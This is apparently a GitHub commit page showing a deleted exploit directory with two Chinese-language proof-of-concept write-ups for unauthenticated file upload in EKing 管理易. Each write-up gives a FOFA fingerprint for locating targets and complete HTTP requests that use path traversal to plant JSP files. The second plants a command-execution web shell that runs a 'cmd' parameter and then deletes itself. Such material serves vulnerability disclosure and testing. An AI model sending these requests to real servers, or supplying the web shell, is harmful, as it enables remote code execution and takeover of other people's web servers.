Delete wpoc/eking管理易 directory

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Rainyseason 2025-04-25 10:27:04 +08:00 committed by GitHub
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# eking管理易FileUpload接口存在任意文件上传漏洞
EKing-管理易 FileUpload.ihtm 接口处存在文件上传漏洞,未经身份验证的远程攻击者可利用此漏洞上传任意文件,在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。
## fofa
```yaml
app="EKing-管理易"
```
## poc
```yaml
POST /app/FileUpload.ihtm?comm_type=EKING&file_name=../../rce.jsp. HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryHHaZAYecVOf5sfa6
--WebKitFormBoundaryHHaZAYecVOf5sfa6
Content-Disposition: form-data; name="uplo_file"; filename="rce.jpg"
<% out.println("hello");%>
--WebKitFormBoundaryHHaZAYecVOf5sfa6--
```
![d6195b5041564ca4bb7b6ae0a4437513.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202407301642889.png)
![25f79982d40949828bd29e1d81404123.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202407301643141.png)

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# eking管理易Html5Upload接口存在任意文件上传漏洞
eking管理易Html5Upload接口存在任意文件上传漏洞未经身份验证的远程攻击者可利用此漏洞上传任意文件在服务器端任意执行代码写入后门获取服务器权限进而控制整个 web 服务器。
## fofa
```yaml
app="EKing-管理易"
```
## poc
创建临时文件
```yaml
POST /Html5Upload.ihtm HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
comm_type=INIT&sign_id=shell&vp_type=default&file_name=../../shell.jsp&file_size=2048
```
写入文件内容
```jinja2
POST /Html5Upload.ihtm HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
Connection: close
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="comm_type"
DATA
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="sign_id"
shell
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data_inde"
0
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data"; filename="chunk1"
Content-Type: application/octet-stream
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryj7OlOPiiukkdktZR--
```
保存文件
```javascript
POST /Html5Upload.ihtm HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
comm_type=END&sign_id=shell&file_name=../../shell.jsp
```
![image-20241012132747292](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410121327356.png)
![image-20241012132754554](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410121327613.png)